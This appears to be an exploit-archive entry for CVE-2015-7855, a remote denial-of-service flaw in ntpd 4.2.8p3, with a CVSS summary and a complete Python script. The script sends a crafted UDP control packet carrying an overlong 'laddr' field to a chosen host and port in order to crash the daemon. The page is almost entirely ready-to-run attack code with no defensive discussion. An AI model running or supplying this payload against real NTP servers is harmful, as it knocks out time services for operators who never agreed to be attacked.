NTP 4.2.8p3 Denial Of Service Exploit

2016.11.29
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#!/usr/bin/env python # Exploit Title: ntpd 4.2.8p3 remote DoS # Date: 2015-10-21 # Bug Discovery: John D "Doug" Birdwell # Exploit Author: Magnus Klaaborg Stubman (@magnusstubman) # Website: http://support.ntp.org/bin/view/Main/NtpBug2922 # Vendor Homepage: http://www.ntp.org/ # Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p3.tar.gz # Version: All ntp-4 releases up to, but not including 4.2.8p4, and 4.3.0 up to, but not including 4.3.77 # CVE: CVE-2015-7855 import sys import socket if len(sys.argv) != 3: print "usage: " + sys.argv[0] + " <host> <port>" sys.exit(-1) payload = "\x16\x0a\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa0\x6e\x6f\x6e\x63\x65\x3d\x64\x61\x33\x64\x35\x64\x30\x66\x66\x38\x30\x38\x31\x65\x63\x38\x33\x35\x32\x61\x32\x32\x38\x36\x2c\x20\x66\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39" print "[-] Sending payload to " + sys.argv[1] + ":" + sys.argv[2] + " ..." sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (sys.argv[1], int(sys.argv[2]))) print "[+] Done!"


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